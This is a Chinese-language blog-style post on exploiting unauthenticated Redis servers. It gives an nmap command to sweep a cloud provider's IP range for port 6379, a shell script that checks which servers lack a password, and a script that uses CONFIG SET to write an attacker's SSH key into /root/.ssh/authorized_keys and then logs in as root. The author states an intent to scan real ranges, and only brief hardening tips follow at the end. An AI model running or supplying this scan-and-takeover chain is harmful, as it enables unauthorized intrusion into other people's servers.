redis
Redis是常见的非关系型数据库,很多中小企业都有在用,能满足极高读写性能需求。
最近从网上了解到redis的一个漏洞, 原理如下:
- 找到裸奔的redis , 登录redis
- 然后把修改redis数据库文件为ssh证书配置文件
- 然后把预先准备好的证书set到redis里, 然后保存 即可把证书写到 ssh证书配置里
- 然后就可以ssh登录对方服务器了
影响版本:目前所有版本
----只要是对外网开发登录,而且没有设置密码没有启用protected-model的redis都会受影响,
当然你也可以通过控制config命令的权限,或者控制 ssh证书配置文件的访问权
来防止被入侵
最近云服务器热了起来, 很多中小企业甚至个人都购买了云服务器
普及是好事, 但是并不是说有开发都有很好的安全意识
我打算用nmap扫描裸奔的redis,
而且国内的云服务器提供商用IP一般都是连着的,
所以可以直接扫描一段ip,都是阿里云的云服务器,这样找到符合条件的服务器就容易多了
首先,通过nmap扫描裸奔的机器
比如:
nmap 139.199.0.0/16 -p 6379 | grep -B 3 open|grep report |awk '{print $5}' >> aa.txt
不一会就找到了很多对外开放登录的redis服务器
然后,检测以上的redis是否有密码
新建脚本redis.sh
#!/bin/bash for x in ` awk '{print $1}' aa.txt ` { (echo "save" echo " quit" ) |redis-cli -h $x -x echo $x sleep 3 }
运行脚本:
./redis.sh | grep OK -A 1
再然后,对上一步得到的redis进行写入证书
新建脚本login.sh:
#!/bin/bash cat foo.txt | redis-cli -h $1 -x set crackit (echo "config set dir /root/.ssh/" echo "config get dir" echo "config set dbfilename \"authorized_keys\"" echo "save" echo "quit") |redis-cli -h $1 -x ssh -i id_rsa $1
运行脚本 :
./login.sh xxx.xxx.xxx.xxx
如果机主没有做其他防护操作的话, 就能顺利登陆服务器了
- 配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379 (ps:腾讯云服务器绑定内外IP,外网也可以访问,坑,,,)
- 配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
- 配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
- 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config